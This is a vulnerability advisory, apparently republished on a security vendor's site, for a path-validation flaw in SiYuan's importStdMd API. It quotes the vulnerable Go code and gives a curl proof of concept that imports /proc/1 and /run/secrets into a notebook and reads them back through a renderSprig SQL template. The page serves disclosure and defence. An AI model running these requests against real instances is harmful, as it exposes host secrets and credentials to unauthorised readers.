GHSA-rjhh-m223-9qqv
MEDIUMSiYuan importStdMd: unvalidated localPath imports arbitrary host directories as persistent notes
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
github.com/siyuan-note/siyuanReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
POST /api/import/importStdMd passes the localPath parameter directly to model.ImportFromLocalPath with zero path validation. The function recursively reads every file under the given path and permanently stores their content as SiYuan note documents in the workspace database, making them searchable and accessible to all workspace users.
Details
File: kernel/api/import.go - function importStdMd
func importStdMd(c *gin.Context) {
notebook := arg["notebook"].(string)
localPath := arg["localPath"].(string)
toPath := arg["toPath"].(string)
err := model.ImportFromLocalPath(notebook, localPath, toPath)
}
model.ImportFromLocalPath (kernel/model/import.go:784):
func ImportFromLocalPath(boxID, localPath string, toPath string) (err error) {
filelock.Walk(localPath, func(currentPath string, d fs.DirEntry, ...) error {
})
}
Unlike globalCopyFiles, there is no blocklist at all. Any readable path is accepted. The imported content is permanently stored in the workspace SQLite database and survives restarts.
Chained attack with Bug #1 (renderSprig): Admin imports sensitive files --> content stored in blocks table --> non-admin user queries via querySQL through renderSprig.
PoC
docker run -d --name siyuan -p 6806:6806 \
-v $(pwd)/workspace:/siyuan/workspace \
b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123
Exploit:
TOKEN="YOUR_ADMIN_TOKEN"
NOTEBOOK=$(curl -s -X POST http://localhost:6806/api/notebook/createNotebook \
-H "Authorization: Token $TOKEN" -H "Content-Type: application/json" \
-d '{"name":"Exfil"}' | python3 -c "import sys,json; print(json.load(sys.stdin)['data']['notebook']['id'])")
curl -s -X POST http://localhost:6806/api/import/importStdMd \
-H "Authorization: Token $TOKEN" \
-H "Content-Type: application/json" \
-d "{\"notebook\":\"$NOTEBOOK\",\"localPath\":\"/proc/1\",\"toPath\":\"/\"}"
curl -s -X POST http://localhost:6806/api/import/importStdMd \
-H "Authorization: Token $TOKEN" \
-H "Content-Type: application/json" \
-d "{\"notebook\":\"$NOTEBOOK\",\"localPath\":\"/run/secrets\",\"toPath\":\"/\"}"
curl -s -X POST http://localhost:6806/api/template/renderSprig \
-H "Authorization: Token $TOKEN" \
-H "Content-Type: application/json" \
-d '{"template":"{{range $r := (querySQL \"SELECT content FROM blocks LIMIT 50\")}}{{$r.content}}\n---\n{{end}}"}'
Impact
An admin can permanently import the contents of any readable host directory into the workspace as searchable notes. Unlike globalCopyFiles, there is no blocklist - /proc/, /etc/, /run/secrets/, /home/ are all accepted.
Data persists in the workspace database across restarts and is accessible to Publish Service Reader accounts. Combined with the renderSprig SQL injection ( separate advisory ), a non-admin user can then read all imported secrets without any additional privileges.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/siyuan-note/siyuan | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/siyuan-note/siyuan. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Remediation status
No patched version of github.com/siyuan-note/siyuan has shipped for GHSA-rjhh-m223-9qqv yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-rjhh-m223-9qqv is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-rjhh-m223-9qqv. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-rjhh-m223-9qqv in your dependencies?
O3 detects GHSA-rjhh-m223-9qqv across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.